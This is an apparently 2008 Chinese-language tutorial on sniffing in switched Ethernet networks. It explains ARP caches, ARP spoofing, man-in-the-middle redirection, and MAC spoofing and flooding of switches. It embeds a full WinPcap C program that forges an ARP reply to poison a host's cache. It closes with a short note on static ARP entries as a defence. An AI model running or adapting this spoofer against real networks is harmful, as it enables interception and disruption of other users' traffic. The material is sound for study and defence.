交换网络中的嗅探和ARP欺骗

2008/8/2 来源:www.arpun.com 作者:小白
以太网内的嗅探(sniff)对于网络安全来说并不是什么好事, 虽然对于网络管理员能够跟踪数据包并且发现网络问题, 但是如果被破坏者利用的话, 就对整个网络构成严重的安全威胁。 至于嗅探的好处和坏处就不罗嗦了。

ARP缓存表

假设这样一个网络:

             ——————————             |       HUB        |             ——————————                |      |      |                 |      |      |                 |      |      |              HostA   HostB   HostC  

其中

A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA

B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB

C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC

假设B是属于一个嗅探爱好者的, 比如A机器的ARP缓存:

     C:\>arp -aInterface: 192.168.10.1 on Interface 0x1000003  Internet Address      Physical Address      Type  192.168.10.3          CC-CC-CC-CC-CC-CC     dynamic   

这是192.168.10.1机器上的ARP缓存表, 假设, A进行一次ping 192.168.10.3操作, PING主机C, 会查询本地的

ARP缓存表, 找到C的IP地址的MAC地址, 那么就会进行数据传输, 目的地就是C 的MAC地址。 如果A中没有C的ARP记

录, 那么A首先要广播一次ARP请求, 当C接收到A 的请求后就发送一个应答, 应答中包含有C的MAC地址, 然后A接

收到C的应答, 就会更新本地的ARP缓存。 接着使用这个MAC地址发送数据(由网卡附加MAC地址)。

因此, 本地高速缓存的这个ARP表是本地网络流通的基础, 而且这个缓存是动态的。

集线器网络(Hub-Based)

很多网络都是用Hub进行连接的。 数据包经过Hub传输到其他计算机的时候, Hub只是简单地把这个数据包广播

到Hub的所有端口上。

这就是上面举例中的一种网络结构。

现在A需要发送TCP数据包给C。 首先, A需要检查本地的ARP 缓存表, 查看是否有IP为192.168.10.3即C的ARP记

录, 如果没有那么A将要广播一个ARP请求, 当C接收到这个请求后, 就作出应答, 然后A更新自己的ARP缓存表。 并

且获得与C的IP相对应的MAC地址。 这时就传输这个TCP数据包, Ethernet帧中就包含了C的MAC地址。 当数据包传输

到HUB的时候, HUB直接把整个数据包广播到所有的端口, 然后C就能够接收到A发送的数据包。

正因为HUB把数据广播到所有的端口, 所以计算机B也能够收到A发送给C的数据包。 这正是达到了B嗅探的目的。

因此, Hub-Based的网络基本没有安全可言, 嗅探在这样的网络中非常容易。

交换网络(Switched Lan)

交换机用来代替HUB, 正是为了能够解决HUB的几个安全问题, 其中就是能够来解决嗅探问题。 Switch不是把数

据包进行端口广播, 它将通过自己的ARP缓存来决定数据包传输到那个端口上。 因此, 在交换网络上, 如果把上面

例子中的HUB换为Switch, B就不会接收到A发送给C的数据包, 即便设置网卡为混杂模式, 也不能进行嗅探。

ARP欺骗( ARP spoofing)

ARP协议并不只在发送了ARP请求才接收ARP应答。 当计算机接收到ARP应答数据包的时候, 就会对本地的ARP缓存

进行更新, 将应答中的IP和MAC地址存储在ARP缓存中。 因此, 在上面的假设网络中, B向A发送一个自己伪造的ARP应

答, 而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址), MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地

址本来应该是CC-CC-CC-CC-CC-CC, 这里被伪造了)。 当A接收到B伪造的ARP应答, 就会更新本地的ARP缓存(A可不

知道被伪造了)。

现在A机器的ARP缓存更新了:

     C:\>arp -aInterface: 192.168.10.1 on Interface 0x1000003  Internet Address      Physical Address      Type  192.168.10.3          DD-DD-DD-DD-DD-DD     dynamic   

这可不是小事。 局域网的网络流通可不是根据IP地址进行, 而是按照MAC地址进行传输。 现在192.168.10.3的

MAC地址在A上被改变成一个本不存在的MAC地址。 现在A开始Ping 192.168.10.3, 网卡递交的MAC地址是

DD-DD-DD-DD-DD-DD, 结果是什么呢?网络不通, A根本不能Ping通C!!

这就是一个简单的ARP欺骗。

我们来实现这样的ARP欺骗。 这里需要使用一个WinPcap提供的API和驱动。 (http://winpcap.polito.it/)

winpcap是一个伟大而且开放的项目。 Windows环境下的nmap、snort、windump都是使用的winpcap。

     ///////////////////////////////////////////////////////////                ARP Sender////           Creator:    Refdom//           Email:      refdom@263.net//           Home Page:  www.opengram.com////           2002/4/7/////////////////////////////////////////////////////////#include "stdafx.h"#include "Mac.h"//GetMacAddr(), 我写的把字符串转换为MAC地址的函数, 就不列在这里了#include #include #define EPT_IP0x0800/* type: IP*/#define EPT_ARP0x0806/* type: ARP */#define EPT_RARP0x8035/* type: RARP */#define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames  */#defineARP_REQUEST0x0001/* ARP request */#defineARP_REPLY0x0002/* ARP reply */#define Max_Num_Adapter 10#pragma pack(push, 1)typedef struct ehhdr {unsigned chareh_dst[6];/* destination ethernet addrress */unsigned chareh_src[6];/* source ethernet addresss */unsigned shorteh_type;/* ethernet pachet type*/}EHHDR, *PEHHDR;typedef struct arphdr{unsigned shortarp_hrd;/* format of hardware address */unsigned shortarp_pro;/* format of protocol address */unsigned chararp_hln;/* length of hardware address */unsigned chararp_pln;/* length of protocol address */unsigned shortarp_op;/* ARP/RARP operation */unsigned chararp_sha[6];/* sender hardware address */unsigned longarp_spa;/* sender protocol address */unsigned chararp_tha[6];/* target hardware address */unsigned longarp_tpa;/* target protocol address */}ARPHDR, *PARPHDR;typedef struct arpPacket{EHHDRehhdr;ARPHDRarphdr;} ARPPACKET, *PARPPACKET;#pragma pack(pop)int main(int argc, char* argv[]){static char AdapterList[Max_Num_Adapter][1024];char szPacketBuf[600];char MacAddr[6];LPADAPTERlpAdapter;LPPACKETlpPacket;WCHARAdapterName[2048];WCHAR*temp,*temp1;ARPPACKET ARPPacket;ULONG AdapterLength = 1024;int AdapterNum = 0;int nRetCode, i;//Get The list of Adapterif(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE){printf("Unable to retrieve the list of the adapters!\n");return 0;}temp = AdapterName;temp1=AdapterName;i = 0;while ((*temp != '\0')||(*(temp-1) != '\0')){if (*temp == '\0') {memcpy(AdapterList[i],temp1,(temp-temp1)*2);temp1=temp+1;i++;}temp++;}AdapterNum = i;for (i = 0; i < AdapterNum; i++)wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);printf("\n");//Default open the 0lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);        //取第一个网卡(假设啦)if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)){nRetCode = GetLastError();printf("Unable to open the driver, Error Code : %lx\n", nRetCode);return 0;}lpPacket = PacketAllocatePacket();if(lpPacket == NULL){printf("\nError:failed to allocate the LPPACKET structure.");return 0;}ZeroMemory(szPacketBuf, sizeof(szPacketBuf));if (!GetMacAddr("BBBBBBBBBBBB", MacAddr)){printf ("Get Mac address error!\n");}memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6);    //源MAC地址if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6);    //目的MAC地址。  (A的地址)ARPPacket.ehhdr.eh_type = htons(EPT_ARP);ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);ARPPacket.arphdr.arp_pro = htons(EPT_IP);ARPPacket.arphdr.arp_hln = 6;ARPPacket.arphdr.arp_pln = 4;ARPPacket.arphdr.arp_op = htons(ARP_REPLY);if (!GetMacAddr("DDDDDDDDDDDD", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);//伪造的C的MAC地址ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3");   //C的IP地址if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6);  //目标A的MAC地址ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1");   //目标A的IP地址memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));PacketInitPacket(lpPacket, szPacketBuf, 60);if(PacketSetNumWrites(lpAdapter, 2)==FALSE){  printf("warning: Unable to send more than one packet in            a single write!\n");}if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE){printf("Error sending the packets!\n");return 0;}printf ("Send ok!\n");// close the adapter and exitPacketFreePacket(lpPacket);PacketCloseAdapter(lpAdapter);return 0;}   

于是A接收到一个被伪造的ARP应答。 A被欺骗了!!倘若在局域网中看某某机器不顺眼, ……

以太网中的嗅探太有作用了, 但是交换网络对嗅探进行了限制, 让嗅探深入程度大打折扣。 不过, 很容易就能

够发现, 主机、Switch(动态更新地址表类型, 下同)中的缓存表依然是(主要是)动态的。 要在一个交换网络中

进行有效的嗅探工作(地下党?), 需要采用对付各种缓存表的办法, 连骗带哄, 甚至乱踹, 在上面的ARP欺骗基础

中我们就能够做到。

对目标进行ARP欺骗

就象上面程序中实现的一样, 对目标A进行欺骗, A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。 如

果进行欺骗的时候, 把C的MAC地址骗为BB-BB-BB-BB-BB-BB, 于是A发送到C上的数据包都变成发送给B的了。 这不正

好是B能够接收到A发送的数据包了么, 嗅探成功。

A对这个变化一点都没有意识到, 但是接下来的事情就让A产生了怀疑。 因为A和C连接不上了!!B对接收到A发送

给C的数据包可没有转交给C。

做“man in the middle”,进行ARP重定向。 打开B的IP转发功能, A发送过来的数据包, 转发给C, 好比一个路由

器一样。 不过, 假如B发送ICMP重定向的话就中断了整个计划。

直接进行整个包的修改转发, 捕获到A发送给的数据包, 全部进行修改后再转发给C, 而C接收到的数据包完全认为

是从A发送来的。 不过, C发送的数据包又直接传递给A, 倘若再次进行对C的ARP欺骗。 现在B就完全成为A与C的中间桥

梁了。

对Switch的MAC欺骗

Switch上同样维护着一个动态的MAC缓存, 它一般是这样, 首先, 交换机内部有一个对应的列表, 交换机的端口对

应MAC地址表Port n <-> Mac记录着每一个端口下面存在那些MAC地址, 这个表开始是空的, 交换机从来往数据帧中学

习。 举例来说, 当Port 1口所接的计算机发出了一个数据帧, 这帧数据从Port 1进入交换机, 交换机就取这个数据帧

的原MAC地址AAAA, 然后在地址表中记录:Port 1 <-> AAAA, 以后, 所有发向MAC地址为AAAA的数据帧, 就全从Port 1

口输出, 而不会从其它的口输出。

跟前面对目标进行欺骗相类似。 如果把Switch上的MAC-PORT表修改了, 那么对应的MAC和PORT就一样跟着改变, 本来

不应该发送到嗅探器的数据结果发送过来了, 这样也达到了嗅探的目的。 修改本地(B)发送的数据包MAC地址为原来A的

MAC地址, 当经过交换机的时候, 交换机发现端口B对应的地址是机器A的MAC地址, 于是就将会把A的MAC地址同端口B相对

应, 从而把发送给A的数据从端口B传输了, 本来这些应该是传送到端口A的。 因此, 从机器B就能够获得发送给A的数据。

但是, 这里有一个问题, A将接收不到数据了。 嗅探不目的并不是要去破坏正常的数据通讯。 同时, 从刚才的欺骗中,

让交换机中一个MAC地址对应了多个端口, 这种对于交换机处理还不清楚。 还请多指教。

对Switch进行Flood

就象上面介绍Switch的MAC和Port对应关系形成的原理, 因为MAC-PORT缓存表是动态更新的, 那么让整个Switch的端

口表都改变, 对Switch进行MAC地址欺骗的Flood, 不断发送大量假MAC地址的数据包, Switch就更新MAC-PORT缓存, 如果

能通过这样的办法把以前正常的MAC和Port对应的关系破坏了, 那么Switch就会进行泛洪发送给每一个端口, 让Switch基

本变成一个HUB, 向所有的端口发送数据包, 要嗅探的目的一样能够达到。

存在的问题, Switch对这种极限情况的处理, 因为属于不正常情况, 可能会引起包丢失情况。 而且现在对这种极限情

况的Switch状态还很不了解。 如果对网络通讯造成了大的破坏, 这不属于正常的嗅探(嗅探也会引起一些丢失)。

对Switch进行各种手段的操作, 需要小心, 如果打开了端口保护, 那么可能会让交换机关闭所有用户。 因此, 对交换

机这样的设备进行欺骗或者其他操作, 还不如对一些上级设备进行欺骗, 比如目标主机或者路由器。

至于上面关于嗅探的手段都是基于这个动态表进行的。 因此, 使用静态的ARP就能够进行防范了。 对于WIN, 使用

arp -s 来进行静态ARP的设置。

感谢winpcap这个开放项目, 也感谢Dancefire提供的大量帮助和指正。 我在网络设备上的了解还很不够, 还请多指正。

 

网友评论
评论(...
全部评论